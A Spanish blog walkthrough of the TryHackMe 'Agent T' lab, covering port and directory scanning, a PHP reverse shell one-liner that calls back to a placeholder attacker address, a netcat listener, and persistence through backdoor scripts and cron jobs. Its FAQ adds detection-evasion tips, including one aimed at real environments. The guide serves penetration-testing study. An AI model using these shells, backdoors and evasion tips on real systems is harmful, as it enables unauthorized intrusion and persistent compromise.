Introducción: Dominando la sala Agent T en TryHackMe
En el ámbito de la ciberseguridad, la práctica constante en entornos controlados es crucial para adquirir habilidades sólidas en pruebas de penetración y análisis forense. Agent T, una sala disponible en la plataforma TryHackMe, representa un entorno diseñado para aplicar y consolidar técnicas básicas de explotación y persistencia en servidores, ideal para principiantes y profesionales que buscan refrescar conceptos.
Este artículo ofrece una explicación detallada y paso a paso para completar la sala Agent T de forma sencilla y confiable. Además, incluye recomendaciones para implementar buenas prácticas de seguridad y una mirada técnica sobre el proceso, orientado tanto a estudiantes como a profesionales de la ciberseguridad.
¿Qué es la sala Agent T?
La sala Agent T es un reto desafiante que consiste en analizar, explotar y asegurar un servidor vulnerable. Creada por John Hammond, reconocido profesional en el área, es una oportunidad para aprender a identificar puntos débiles en aplicaciones web y cómo mantener el control utilizando técnicas sencillas pero efectivas.
El objetivo es obtener acceso inicial al sistema y luego establecer una persistencia confiable para asegurar el control administrativo. En esta guía, nos enfocaremos en una técnica rápida de explotación mediante una shell reversa PHP y la implementación de persistencia básica.
Preparación previa: Requisitos y herramientas necesarias
Para abordar esta sala con éxito, es fundamental contar con ciertas herramientas y condiciones:
- Cuenta activa en TryHackMe: imprescindible para acceder a la sala y al entorno de laboratorio.
- Conocimientos básicos de Linux y comandos de terminal: navegar, manipular archivos y entender permisos.
- Herramientas de pruebas de penetración: como nmap (escaneo de puertos), curl (peticiones HTTP), y un editor de texto nano o vim.
- Servidor web (local o remota) con soporte PHP: útil para pruebas locales.
- Scripting básico en PHP y comprensión de reverse shells: para crear y usar payloads efectivos.
Además, se recomienda contar con un entorno seguro y aislado para evitar riesgos de seguridad en el equipo principal.
Escaneo inicial: Reconocimiento y descubrimiento de servicios
El paso inicial consiste en identificar los servicios activos y los posibles vectores de ataque:
- Realizar un escaneo de puertos TCP con
nmap
para determinar servicios activos, por ejemplo:
nmap -sV -p- <IP_objetivo>
Donde -sV
detecta versiones de servicios. Este proceso revela si hay servidores web, protocolos abiertos y versiones vulnerables.
Posteriormente, se recomienda hacer un análisis más profundo sobre el puerto identificado, normalmente HTTP en el puerto 80 o 8080.
Enumeración web: Explorando la superficie de ataque
Con acceso al servidor web, realizar un barrido de directorios y archivos ocultos es esencial para descubrir puntos de acceso:
- Utilizar herramientas como
dirb
,gobuster
offuf
para listar rutas. - Buscar parámetros en URLs, formularios o entradas que puedan ser vulnerables a inyección o ejecución remota.
- Analizar el código fuente de las páginas para detectar pistas o vulnerabilidades.
Este análisis es fundamental para avanzar hacia la explotación efectiva.

Ejemplo de comando para escaneo web
gobuster dir -u http://<IP_objetivo> -w /usr/share/wordlists/dirb/common.txt
Identificación de vulnerabilidades: Foco en explotación PHP
En la sala Agent T, una vulnerabilidad común es la capacidad de ejecutar código PHP arbitrario a través de la subida o manipulación de archivos.
El reto es aprovechar esta debilidad para insertar un código malicioso – por ejemplo, una reverse shell – que permitirá controlar remotamente el servidor.
Este proceso debe hacerse con cautela para evitar bloqueos o detecciones.
Creación y uso de una reverse shell PHP one liner
La reverse shell es un comando o script que permite al atacante establecer una conexión inversa con el servidor comprometido. En PHP, esta puede ser muy compacta y eficaz.
Un ejemplo típico de una reverse shell one liner en PHP es:
php -r '$sock=fsockopen("<IP_atacante>",<puerto>);exec("/bin/sh -i 0<&3 1>&3");'
Sin embargo, en este laboratorio se puede implementar una línea más simple para apuntar a una conexión desde el servidor hacia el atacante.
Pasos para implementar la reverse shell
- Configurar un listener en el equipo atacante con Netcat:
nc -lvnp <puerto>
- Subir el payload PHP via web o cargarlo en una ruta accesible.
- Ejecutar la reverse shell accediendo al archivo vulnerable.
- Observar la conexión en Netcat, obteniendo acceso de shell interactiva.
Persistencia básica con PHP: Manteniendo el acceso
Una vez conseguido el acceso inicial, es importante establecer persistencia para no perder control ante posibles reinicios o cierres de sesión.
En esta sala, una técnica sencilla incluye escribir un script PHP que actúe como backdoor permanente.
- Crear un archivo php que una reverse shell cada cierto tiempo.
- Configurar tareas programadas (cron jobs) si es posible o insertar código en archivos que se ejecuten continuamente.
- Evitar sobrecargar el sistema para no levantar sospechas.
Buenas prácticas durante la explotación
- Documentar cada paso: anotar comandos y resultados para replicar el proceso o analizar errores.
- Utilizar entornos controlados: evitar realizar pruebas directamente sobre servidores en producción.
- Evitar acciones destructivas: el objetivo es aprender, no dañar.
- Verificar permisos: confirmar que las acciones realizadas no excedan los niveles permitidos, para evitar alertas y bloqueos.
- Comprobar la persistencia tras reinicios: asegurarse que el acceso se mantiene tras eventos que puedan afectar el sistema.
Comparativa de técnicas de explotación y persistencia en Agent T
Técnica | Ejemplo | Ventajas | Limitaciones | Uso en Agent T |
---|---|---|---|---|
Reverse Shell PHP One Liner | php -r '$sock=fsockopen(...); exec(...);' | Rápida, fácil de implementar | Temporal, depende de listener | Acceso inicial rápido |
Backdoor PHP Persistente | Script PHP programado | Mantiene acceso tras reinicios | Puede ser detectado si no se oculta bien | Persistencia básica |
Cron Job Malicioso | Programación de tarea en el servidor | Automatiza ataques periódicos | Requiere permisos elevados | Avanzado, no siempre disponible |
Solución paso a paso para completar Agent T
Paso 1: Acceso a TryHackMe y configuración
Registrarse o iniciar sesión en TryHackMe y acceder a la sala Agent T disponible en https://tryhackme.com/room/agentt.
Asegurarse de conectar a la VPN de TryHackMe para interactuar con la máquina objetivo.
Paso 2: Escaneo de puertos y servicios
Ejecutar un escaneo completo identificando puertos abiertos y versiones de servicios para entender el paisaje del ataque.

Paso 3: Enumeración web y búsqueda de puntos vulnerables
Usar herramientas automatizadas y exploración manual para localizar directorios, formularios o uploads que permitan la inyección de código.
Paso 4: Creación y ejecución de la reverse shell
Configurar listener, preparar payload PHP y ejecutar para obtener acceso al sistema.
Paso 5: Establecimiento de persistencia
Desplegar archivos y scripts que aseguren la mantención del acceso sin necesidad de repetir el proceso de explotación.
Conceptos clave y su importancia en Agent T
Reverse Shell
Una reverse shell es un mecanismo mediante el cual el servidor vulnerable inicia una conexión hacia el atacante, otorgando control remoto. Es fundamental para sortear firewalls que bloquean conexiones entrantes.
En Agent T, esta técnica permite un acceso rápido y sencillo, enfatizando la importancia de entender protocolos de comunicación y scripting.
Persistencia
Conseguir persistencia significa mantener el acceso al sistema después de eventos como reinicios. Es un aspecto crucial para pruebas avanzadas y ataques prolongados.
La persistencia enseñada en esta sala es básica pero efectiva, ayudando a comprender cómo esta se puede implementar y detectar.
Enumeración
La enumeración es el proceso de recopilar información detallada para identificar vectores de ataque. Sin una adecuada enumeración, la explotación puede resultar errónea o ineficiente.
Dominar esta fase mejora la precisión en ataques y fortalece habilidades de análisis.
Consejos adicionales para principiantes
- Practicar con entornos de laboratorio similares para afianzar conceptos.
- Repasar fundamentos de PHP y networking.
- Utilizar siempre máquinas virtuales que puedan ser restauradas.
- Documentar errores y soluciones para crear un repositorio personal de aprendizaje.
Para complementar esta guía, te invitamos a ver el siguiente video donde se muestra la ejecución práctica y explicación detallada paso a paso.
Preguntas frecuentes
¿Qué hacer si no logro establecer la reverse shell?
Verifica que el listener de Netcat esté configurado en el puerto correcto y que la dirección IP del atacante sea accesible desde el servidor. Revisa también que no haya firewalls o políticas que bloqueen la conexión saliente.

¿Puedo usar otro lenguaje para la reverse shell?
Sí, existen payloads en Python, Bash, Perl, entre otros. Sin embargo, en Agent T se enfatiza la investigación en PHP, ya que es el lenguaje activo en el servidor. La elección depende de la disponibilidad de intérpretes.
¿Cómo detectar si un servidor está intentando mantener persistencia maliciosa?
Monitorizar archivos inusuales, tareas programadas (cron jobs), conexiones sospechosas y modificaciones en scripts web es clave para descubrir persistencias ocultas.
¿Qué permisos necesito para crear un Cron Job malicioso?
Solo usuarios con permisos para editar tareas programadas pueden crear cron jobs. Normalmente, se necesita acceso a la cuenta del usuario o privilegios elevados.
¿Por qué utilizar una reverse shell en lugar de una bind shell?
La reverse shell sortea restricciones de puertos y firewalls, ya que es el servidor vulnerable quien inicia la conexión. Las bind shells requieren un puerto abierto y accesible en el servidor objetivo, lo cual suele ser más restrictivo.
¿Cómo evitar ser detectado durante la explotación?
Limitar la actividad inusual, evitar accesos múltiples desde una misma IP en poco tiempo y eliminar archivos temporales son pautas básicas para reducir la detección.
¿Es legal practicar en salas como Agent T?
Sí, siempre que se haga en plataformas autorizadas como TryHackMe y con los permisos correspondientes. La práctica en sistemas ajenos sin autorización es ilegal.
¿Cómo solucionar errores de conexión en la reverse shell?
Revisar configuraciones de red, verificar que el servidor puede alcanzar la IP y puerto destino, y confirmar que el payload esté correctamente codificado y ejecutable.
¿Qué técnicas de persistencia avanzadas existen más allá de Agent T?
Implantación de rootkits, manipulación de servicios de inicio, modificaciones en configuraciones del sistema, y explotación de vulnerabilidades para escalar privilegios.
¿Cómo extender el conocimiento adquirido en Agent T?
Experimentando con otras salas en TryHackMe, participando en CTFs, y leyendo documentación y foros especializados en ciberseguridad.
Respuesta 1: Para solucionar problemas comunes como falta de respuesta en la reverse shell, primero verifica la dirección IP y puerto configurados, así como que el listener esté activo y que no existan reglas de firewall bloqueando la comunicación. Asegúrate de que el servidor puede conectarse hacia afuera por el puerto especificado.
Respuesta 2: La persistencia es crucial para ataques prolongados y recuerda que no siempre es fácil de mantener sin ser detectado. En Agent T, se muestra una persistencia básica, pero en entornos reales es recomendable combinar diversas técnicas y monitorear constantemente para evitar pérdida de acceso.
Respuesta 3: La enumeración detallada ahorra tiempo y evita ataques fallidos. Utiliza herramientas automáticas, pero confirma siempre manualmente los hallazgos para entender el contexto y naturaleza de las vulnerabilidades descubiertas.
Conclusión
La sala Agent T es un excelente recurso para aprender las bases de explotación y persistencia en entornos controlados, con énfasis en vulnerabilidades PHP y shell reversas. Aplicando esta guía paso a paso, se facilita la comprensión técnica y práctica, aportando confianza a quienes se inician en pruebas de penetración.
¿Querés mantenerte actualizado con las últimas tendencias en automatización, inteligencia artificial y transformación digital? Visitá nuestro blog de Código6 y descubrí guías, casos de éxito y noticias relevantes para potenciar tu empresa. Ingresá al blog y explorá los recursos más recientes.

Leave A Comment